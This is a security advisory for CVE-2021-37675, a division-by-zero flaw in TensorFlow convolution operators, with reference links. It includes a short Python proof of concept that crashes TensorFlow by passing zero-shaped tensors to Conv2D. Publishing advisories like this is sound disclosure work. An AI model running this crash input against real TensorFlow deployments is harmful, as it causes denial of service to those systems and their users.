CVE-2021-37675: Division by 0 in most convolution operators
(updated )
Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Conv2D(
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
strides = [1, 1, 1, 1],
padding = "SAME")
References
- github.com/advisories/GHSA-9c8h-2mv3-49ww
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-588.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-786.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-297.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4
- github.com/tensorflow/tensorflow/security/advisories/GHSA-9c8h-2mv3-49ww
- nvd.nist.gov/vuln/detail/CVE-2021-37675
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